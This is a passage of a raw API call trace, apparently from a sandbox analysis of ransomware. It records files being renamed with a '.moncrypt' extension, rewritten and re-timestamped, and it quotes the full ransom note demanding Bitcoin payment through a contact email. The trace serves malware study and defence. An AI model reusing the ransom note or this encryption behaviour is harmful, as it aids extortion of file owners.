lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF", cchWideChar=74, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 74 [0052.148] CharLowerBuffW (in: lpsz=".GIF", cchLength=0x4 | out: lpsz=".gif") returned 0x4 [0052.148] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".gif", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".gifShared\\THEMES14\\LAYERS\\PREVIEW.GIFy", lpUsedDefaultChar=0x0) returned 4 [0052.148] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1 [0052.149] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.149] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.149] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.149] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.149] GlobalUnlock (hMem=0x440004) returned 0 [0052.149] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.149] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.149] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.149] GlobalUnlock (hMem=0x440004) returned 0 [0052.149] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.149] GlobalUnlock (hMem=0x44000c) returned 0 [0052.149] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.149] CharLowerBuffW (in: lpsz="THMBNAIL.PNG", cchLength=0xc | out: lpsz="thmbnail.png") returned 0xc [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.149] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="h", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0052.150] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0052.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", cchWideChar=75, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 75 [0052.150] CharLowerBuffW (in: lpsz=".PNG", cchLength=0x4 | out: lpsz=".png") returned 0x4 [0052.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".png", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".pngShared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpUsedDefaultChar=0x0) returned 4 [0052.150] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0x54e240 [0052.150] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0052.150] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0052.150] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.150] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG", dwFileAttributes=0x20) returned 1 [0052.151] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0052.152] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.moncrypt")) returned 1 [0052.152] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.152] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.152] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0xaf32 [0052.152] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6d0*=0) returned 0x0 [0052.152] ReadFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18e6f4*=0x4000, lpOverlapped=0x0) returned 1 [0052.155] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.155] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.155] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.155] GlobalUnlock (hMem=0x440004) returned 0 [0052.155] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0052.155] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.156] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.156] GlobalUnlock (hMem=0x440004) returned 0 [0052.156] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.156] GlobalLock (hMem=0x440004) returned 0x55bb88 [0052.156] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.156] GlobalUnlock (hMem=0x44000c) returned 0 [0052.156] GlobalHandle (pMem=0x55bb88) returned 0x440004 [0052.156] GlobalUnlock (hMem=0x440004) returned 0 [0052.156] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.156] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.156] GlobalUnlock (hMem=0x440004) returned 0 [0052.156] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0052.156] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.156] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.156] GlobalUnlock (hMem=0x440004) returned 0 [0052.156] ReadFile (in: hFile=0x18c, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18e6f4, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18e6f4*=0x20, lpOverlapped=0x0) returned 1 [0052.157] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0x0 [0052.157] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18e6f0*=0x4020, lpOverlapped=0x0) returned 1 [0052.157] SetFilePointer (in: hFile=0x18c, lDistanceToMove=44850, lpDistanceToMoveHigh=0x18e6e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e6e8*=0) returned 0xaf32 [0052.157] WriteFile (in: hFile=0x18c, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18e6f0*=0x20, lpOverlapped=0x0) returned 1 [0052.157] WriteFile (in: hFile=0x18c, lpBuffer=0x18e76c*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x18e76c*, lpNumberOfBytesWritten=0x18e6f0*=0x8, lpOverlapped=0x0) returned 1 [0052.157] WriteFile (in: hFile=0x18c, lpBuffer=0x1e61d58*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1e61d58*, lpNumberOfBytesWritten=0x18e6f0*=0x1, lpOverlapped=0x0) returned 1 [0052.168] WriteFile (in: hFile=0x18c, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18e6f0, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18e6f0*=0x9c, lpOverlapped=0x0) returned 1 [0052.168] CloseHandle (hObject=0x18c) returned 1 [0052.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\thmbnail.png.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.170] SetFileTime (hFile=0x18c, lpCreationTime=0x18e794, lpLastAccessTime=0x18e78c, lpLastWriteTime=0x18e784) returned 1 [0052.170] CloseHandle (hObject=0x18c) returned 1 [0052.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\THMBNAIL.PNG.moncrypt", dwFileAttributes=0x20) returned 1 [0052.170] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18da28, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0052.170] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.170] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.170] GlobalUnlock (hMem=0x440004) returned 0 [0052.170] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.170] GlobalLock (hMem=0x44000c) returned 0x557b88 [0052.170] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.170] GlobalUnlock (hMem=0x440004) returned 0 [0052.171] GlobalHandle (pMem=0x557b88) returned 0x44000c [0052.171] GlobalUnlock (hMem=0x44000c) returned 0 [0052.171] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0052.171] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18e7dc | out: lpFindFileData=0x18e7dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40537400, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40537400, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40537400, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e240 [0052.171] FileTimeToLocalFileTime (in: lpFileTime=0x18e7f0, lpLocalFileTime=0x18e770 | out: lpLocalFileTime=0x18e770) returned 1 [0052.171] FileTimeToDosDateTime (in: lpFileTime=0x18e770, lpFatDate=0x18e7be, lpFatTime=0x18e7bc | out: lpFatDate=0x18e7be, lpFatTime=0x18e7bc) returned 1 [0052.171] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0052.171] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0052.171] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.171] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.171] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.171] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.171] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x649 [0052.171] SetFilePointer (in: hFile=0x18c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18e9c4*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18e9c4*=0) returned 0x0 [0052.171] ReadFile (in: hFile=0x18c, lpBuffer=0x1dccd48, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18e9e8, lpOverlapped=0x0 | out: lpBuffer=0x1dccd48*, lpNumberOfBytesRead=0x18e9e8*=0x649, lpOverlapped=0x0) returned 1 [0052.171] CloseHandle (hObject=0x18c) returned 1 [0052.172] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d489150, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaf32, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0 [0052.172] GetLastError () returned 0x12 [0052.172] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0052.172] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.172] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.172] GlobalUnlock (hMem=0x44000c) returned 0 [0052.172] GlobalLock (hMem=0x44000c) returned 0x550170 [0052.172] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.172] GlobalHandle (pMem=0x550170) returned 0x44000c [0052.172] GlobalUnlock (hMem=0x44000c) returned 0 [0052.172] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.172] GlobalUnlock (hMem=0x440004) returned 0 [0052.172] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40537400, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40537400, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0052.172] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0052.172] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.172] GlobalLock (hMem=0x440004) returned 0x550170 [0052.172] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.173] GlobalUnlock (hMem=0x440004) returned 0 [0052.173] GlobalLock (hMem=0x440004) returned 0x550170 [0052.173] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.173] GlobalHandle (pMem=0x550170) returned 0x440004 [0052.173] GlobalUnlock (hMem=0x440004) returned 0 [0052.173] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.173] GlobalUnlock (hMem=0x44000c) returned 0 [0052.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.173] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x567e4730, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x40537400, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40537400, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.173] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.173] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.173] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.173] GlobalUnlock (hMem=0x44000c) returned 0 [0052.173] GlobalLock (hMem=0x44000c) returned 0x555b78 [0052.173] GlobalLock (hMem=0x440004) returned 0x557b88 [0052.173] GlobalHandle (pMem=0x555b78) returned 0x44000c [0052.173] GlobalUnlock (hMem=0x44000c) returned 0 [0052.173] GlobalHandle (pMem=0x557b88) returned 0x440004 [0052.173] GlobalUnlock (hMem=0x440004) returned 0 [0052.173] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0052.173] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40537400, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x40537400, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x40537400, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 1 [0052.173] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0052.173] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0052.173] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.173] GlobalHandle (pMem=0x555b78) returned 0x440004 [0052.173] GlobalUnlock (hMem=0x440004) returned 0 [0052.174] GlobalLock (hMem=0x440004) returned 0x555b78 [0052.174] GlobalLock (hMem=0x44000c) returned 0x557b88 